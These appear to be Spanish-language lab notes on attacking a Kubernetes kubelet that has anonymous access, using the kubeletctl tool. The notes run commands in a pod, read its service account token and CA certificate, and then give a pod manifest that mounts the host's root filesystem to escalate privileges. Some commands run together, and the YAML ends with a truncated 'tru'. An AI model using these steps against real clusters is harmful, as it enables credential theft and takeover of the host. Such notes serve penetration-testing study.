Herramienta para interactuar con el kubelet, el agente que corre en cada nodo de un cluster de kubernets
git clone [<https://github.com/cyberark/kubeletctl.git>](<https://github.com/cyberark/kubeletctl.git>)
wget [<https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64>](<https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64%5C%5C>)
Obtener pods:
./kubeletctl_linux_amd64 --server 10.10.11.133 podscurl [<https://10.129.96.98:10250/pods>](<https://10.129.96.98:10250/pods>) -kFOOTHOLD:
Esto es para encontrar kubernets con acceso anonymous donde nosotros podamos usar los comandos /run , /exec y /cri
kubeletctl --server 10.129.96.98 scan rce
Ejecutar comandos:
kubeletctl --server 10.129.96.98 exec "id" -p nginx -c nginxEscalada de privilegios:
Obtener token y certificado del pod donde podemos ejecutar comandos:
kubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginxkubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginxcon el token podemos certificarnos y autenticarnos hacia el servicio, asi que podremos crear un nuevo pod en base a un archivo .yaml
apiVersion: v1
kind: Pod
metadata:
name: nginxt
namespace: default
spec:
containers:
-
name: nginxt
image: nginx:1.14.2
volumeMounts:
-
mountPath: /root
name: mount-root-into-mnt
volumes:
-
name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: tru
Este indica que montaremos un pod en la ruta /root